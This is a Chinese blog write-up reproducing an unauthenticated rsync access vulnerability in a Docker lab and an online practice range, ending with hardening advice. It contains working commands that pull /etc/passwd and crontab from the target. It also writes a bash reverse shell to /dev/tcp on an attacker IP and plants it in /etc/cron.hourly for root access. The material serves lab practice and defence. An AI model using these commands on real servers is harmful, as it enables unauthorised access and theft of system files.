2019-11-17rsync未授权访问漏洞复现&利用
![](https://img.haomeiwen.com/i18920713/a096e2ada7798dfd.jpg)
rsync未授权访问漏洞
编写者:thelostworld_fv
简介:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
环境准备:
编译及运行rsync服务器:
docker-compose build docker-compose up -d
![](https://img.haomeiwen.com/i18920713/075a09cc7bd7c374.jpg)
运行
![](https://img.haomeiwen.com/i18920713/fd9c2db699f2d817.jpg)
环境启动后,我们用rsync命令访问之:
rsync rsync://your-ip:873/
利用方法:
![](https://img.haomeiwen.com/i18920713/7b0ab85de1b0079e.jpg)
上图,有一个src模块,我们再列出这个模块下的文件:
![](https://img.haomeiwen.com/i18920713/9bc534f97749e9bc.jpg)
这是Linux根目录,可以下载任意文件:
rsync -av rsync://your-ip:873/src/etc/passwd ./
![](https://img.haomeiwen.com/i18920713/f0b6f2a73ce6dec2.jpg)
查看下载的passwd
![](https://img.haomeiwen.com/i18920713/6ae0d399f1ae3aa5.jpg)
查看crontab配置文件:
rsync rsync://192.168.182.143/src/etc/crontab
下载crontab配置文件:
rsync -av rsync://192.168.182.143/src/etc/crontab /root/crontab.txt
写入shell任意文件:
#!/bin/bash /bin/bash -i >& /dev/tcp/192.168.182.199/4444 0>&1
赋予执行权限:
chmod +x shell
将shell上传至/etc/cron.hourly
rsync -av shell rsync://192.168.182.143/src/etc/cron.hourly
![](https://img.haomeiwen.com/i18920713/a935dd95865286be.jpg)
写入了一个cron任务,
![](https://img.haomeiwen.com/i18920713/fda2fbd82077b41d.jpg)
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
成功反弹shell:
![](https://img.haomeiwen.com/i18920713/2d26a1fcd75c3bc0.jpg)
获取到服务器权限。
在线靶场:
rsync IP:: //这是在默认条件下没有改变默认的端口,默认密码是:: rsync --port=xxx ip:: //如果修改了默认端口就需要指定端口,这里就是需要自己指定47900端口 rsync -avz ip::www /tmp //-avz是下载文件的命令,前一个是目标内容,后一个是自己指定存储在本地的路径 rsync -avz --port=xxx ip::dddd /tmp
![](https://img.haomeiwen.com/i18920713/af05a6f592a74dbd.jpg)
连接rsync --port=49814 219.153.49.228::
![](https://img.haomeiwen.com/i18920713/73f63465488386e6.jpg)
下载文件
rsync -avz --port=49814 219.153.49.228::volume /Users/fuwei/Desktop/
![](https://img.haomeiwen.com/i18920713/55db75cf0fc13470.jpg)
<?php
/*
mozhea2b247c38a64888155d03ccc3f9
*/
?>
![](https://img.haomeiwen.com/i18920713/e2e8297755bc5f39.jpg)
![](https://img.haomeiwen.com/i18920713/a2bc1429d14b07d9.jpg)
修复建议:
1. 修改vim /etc/rsync.conf配置文件(写入以下代码)
hosts allow xxx.xxx.xxx.xxx auth users = rsync secrets file = /etc/rsyncd.passwd
2、新建一个账户密码访问文件vim /etc/rsyncd.passwd
按一下格式写入能登陆的用户名和密码
username :password
总结:
1、注意计划启动项时间,自己可以修改对于的启动时间。
vim /etc/crontab 修改对于自己需要的时间就OK了
2、注意在上传计划启动的前需要附上执行权限,不然不会执行反弹。
3、最近工作闲暇漏洞复现一下(安全贵在坚持),如果有纰漏,望大佬指正。
参考:
https://blog.csdn.net/qq_36374896/article/details/84112341
https://www.jianshu.com/p/615669b7311f
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400
![](https://img.haomeiwen.com/i18920713/bef9152c25f325d5.png)